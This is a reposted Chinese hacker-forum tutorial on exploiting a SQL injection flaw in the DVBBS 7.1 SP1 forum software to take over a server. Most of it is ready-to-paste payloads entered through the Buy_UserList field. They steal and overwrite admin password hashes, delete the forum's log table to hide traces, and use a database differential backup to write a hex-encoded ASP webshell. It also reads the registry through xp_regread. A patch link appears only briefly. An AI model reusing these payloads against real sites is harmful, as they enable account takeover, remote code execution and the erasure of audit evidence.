« Photoshop CS给美女MM的衣服换一种颜色Windows系统Net命令使用技巧 »

通过dvbbs 7.1拿到服务器权限全过程

一,发现漏洞
  动网论坛(DVBBS 7.1.0 SP1)Savepost.asp存在严重漏洞10-May-06
  发现:Bug.Center.Team
  本文作者:怪狗
  严重程度:严重
  厂商名称:动网论坛(DVBBS)
  程序版本:DVBBS 7.1.0 SP1

  漏洞分析:
  因为程序在savepost.asp文件中变量过滤不严,导致数据库处理产生漏洞,可以取得论坛所有权限以及webshell。已经提交官方审核,并通过确认,补丁已经公布

  看到下面:

          Dim Buy_Orders,Buy_VIPType,Buy_UserList
          Buy_Orders = Request.FORM("Buy_Orders")
          Buy_VIPType = Request.FORM("Buy_VIPType")
          Buy_UserList = Request.FORM("Buy_UserList") 取得变量的值
          If Buy_Orders<>"" and IsNumeric(Buy_Orders) Then
            Buy_Orders = cCur(Buy_Orders)
          Else
            Buy_Orders = -1
          End If
          If Not IsNumeric(Buy_VIPType) Then Buy_VIPType = 0
          If Buy_UserList<>"" Then Buy_UserList = Replace(Replace(Replace(Buy_UserList,"|||",""),"@@@",""),"$PayMoney","")
          ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"
          GetMoneyType = 3
          'UseTools = ToolsInfo(4)
        End Select

  再朝下看:

Public Sub Insert_To_Announce()
'插入回复表
DIM UbblistBody
UbblistBody = Content
UbblistBody = Ubblist(Content)
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"
Dvbbs.Execute(sql)

  解释一下注入:
  注入语句形式

select(XXXX select(XXX select(*) XXXX)   XXXXX)

  可以嵌套查询,比如:

update Dv_User set UserEmail=77169@sohu.com where [UserName]='77169.com';--

  更新 表 设置 字段=77169@sohu.com 条件 用户名=77169.com

  功能:将用户名为77169.com 的email 地址改成 77169@sohu.com

  如果 77169@sohu.com是一个变量的话,如果这个变量没有过滤好,我们自己构造语句

77169@sohu.com=(select [Password] from Dv_admin where[Username]='yellowcat')

  就成注入语句

update Dv_User set UserEmail=(select [Password] from Dv_admin where[Username]='yellowcat') where[UserName]='77169.com';--

  我看一下,上面的语句:Buy_UserList = Request.FORM("Buy_UserList") 直接从form 表单中获取值,这个没什么问题,主要是下面也没有进行过滤,就直接用于 insert into 语句。

  可以看到Buy_UserList这个变量过滤有问题

ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"

  这个变量又导致ToolsBuyUser这个变量有问题。
  如果正常情况应当是这样的 &dvbbs.checkstr(ToolsBuyUser)&" 过滤就没有漏洞了。

  看到这里相信大家都能明白了,怎么利用呢?如果发新贴子选择 论坛交易帖设置。查看源代码,我们会发现 Buy_UserList 这个变量的值是我们可以自定义的。

-------------------------------------
<option value="">选择帖子类型</option>
<option value="0">赠送金币贴</option>
<option value="1">获赠金币贴</option>
<option value="2">论坛交易帖设置</option>
</select>
金币数量:<input name="ToMoney" size="4" value="">
<div id="Buy_setting" style="display:none">
购买数量限制:<input name="Buy_Orders" size="4" value="-1">(设置为“-1”则不限制)<BR>
VIP用户浏览选项:不需要购买<INPUT TYPE="radio" NAME="Buy_VIPType" value="0" checked="checked">,需要购买<input type="radio" name="Buy_VIPType" value="1" /><br />
可购买用户名单限制:<input name="Buy_UserList" size="30" value="" />(每个用户名用英文逗号“,”分隔符分开,注意区分大小写)
</div>
-------------------------------------

  大家看到了吗?Buy_UserList 这个值是由我们给定的,
  下面我们要用dvbbs 7.1 sql sp1 版本来进行测试:我们可以updata改管理员密码,或者差异备份得shell。


二,攻击过程
  1,注册一个用户。
  2,发表新贴子,
  图一
  3,帖子内容下面有个选择帖子类型。
  选择---论坛交易币设置。
  图二
  图三
  测试是否有漏洞。

77169',0);update/**/Dv_User/**/set/**/UserEmail=username/**/where [UserName]='bbs77169com';--

  这条语句的主要作用就是,将用户名bbs77169com 这个用户名写入到email 这个地址效果就是,email = username ,email 这个地方显示的是你自己的用户名。

  大家测试的时候要注意将bbs77169com 改为自己注册的用户名。将 admin 改成攻击漏洞的管理员id

  图四
  如果显示发贴成功!表示有戏。

  图五
  我们查一下看一下email 地址。

  如果 email 地址那个地方,改成了自己的用户名,ok,有漏洞,我们可以进行攻击了。


  下面攻击方法类似了,发贴子,选择---论坛交易币设置,将注入语句写进去。

  下面有个“可购买名单限制”,里面就填写:
  1,得到后台的管理密码:

77169',0);update/**/Dv_User/**/set/**/UserEmail=(select [Password] from/**/Dv_admin/**/where[Username]='admin')/**/where [UserName]='bbs77169com';--
后台密码:c00f91823436a8e0

  2,得到前台的管理密码:

77169',0);update/**/Dv_User/**/set/**/UserEmail=(select [userPassword] from/**/Dv_User/**/where[Username]='admin')/**/where [UserName]='bbs77169com';--
前台密码:c552b6b78d00549c

  3,改前台的管理员密码:

77169',0);update/**/Dv_User/**/set/**/userPassword=(select [userPassword] from/**/Dv_User/**/where[Username]='bbs77169com')/**/where [UserName]='admin';--

  4,改后台的管理员密码:

77169',0);update/**/Dv_admin/**/set/**/Password=(select [userPassword] from/**/Dv_User/**/where[Username]='bbs77169com')/**/where [UserName]='admin';--
前台密码:c552b6b78d00549c

  5,删除日志

77169',0);delete/**/dv_log;--

  6,给前台密码改回去

77169',0);update/**/Dv_User/**/set/**/userPassword='c552b6b78d00549c'/**/where [UserName]='admin';--

7169',0);update/**/Dv_User/**/set/**/userPassword='c552b6b78d00549c'/**/where [UserName]='admin';--


7,给后台密码改回去。

77169',0);update/**/Dv_admin/**/set/**/Password='c00f91823436a8e0'/**/where [UserName]='admin';--


  下面是一些想法,还没有进行过测试!谁测试成功了,请到华夏论坛讨论一下,bbs.77169.com
  为了得到更高的权限,我们可以用差异备份(后台可以看到web绝对路径):

77169',0);create/**/table/**/aspshell (str image);--

declare @a sysname select @a=db_name() backup database @a to disk='D:\77169.com.bak;

insert into aspshell values(0x3C256576616C20726571756573742822232229253E);
declare @a sysname select @a=db_name() backup database @a to disk='D:\77169.com.asp' with differential;

drop table aspshell;

  另外一种得到web绝对路径办法

create table regread(a varchar(255),b varchar(255));

  (建立一个临时表,存放读取到的信息)

insert regread exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' 

  (使用xp_regread这个函数读取注册表信息得到虚拟目录路径,并存入临时表中)

update dv_boke_user set boketitle=(select top 1 b from regread) where bokename='admin'


三,漏洞修补

  补丁:http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1

四,总结:

  至于acess版本没有测试过,sql 版现在有80%都有漏洞,大家可以测试一下,不要搞破坏!
  漏洞比较简单,动网怎么大的程序都会有注入点,可见注入漏洞是多么普遍。程序员们还要小心了。

转自:华夏黑客同盟论坛 http://bbs.77169.com

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

日历

最新评论及回复

最近发表

Powered By Z-Blog 1.8 Devo Build 80108

Copyright © 2006-2011 9ba.Cn. All Rights Reserved. 京ICP备05058609号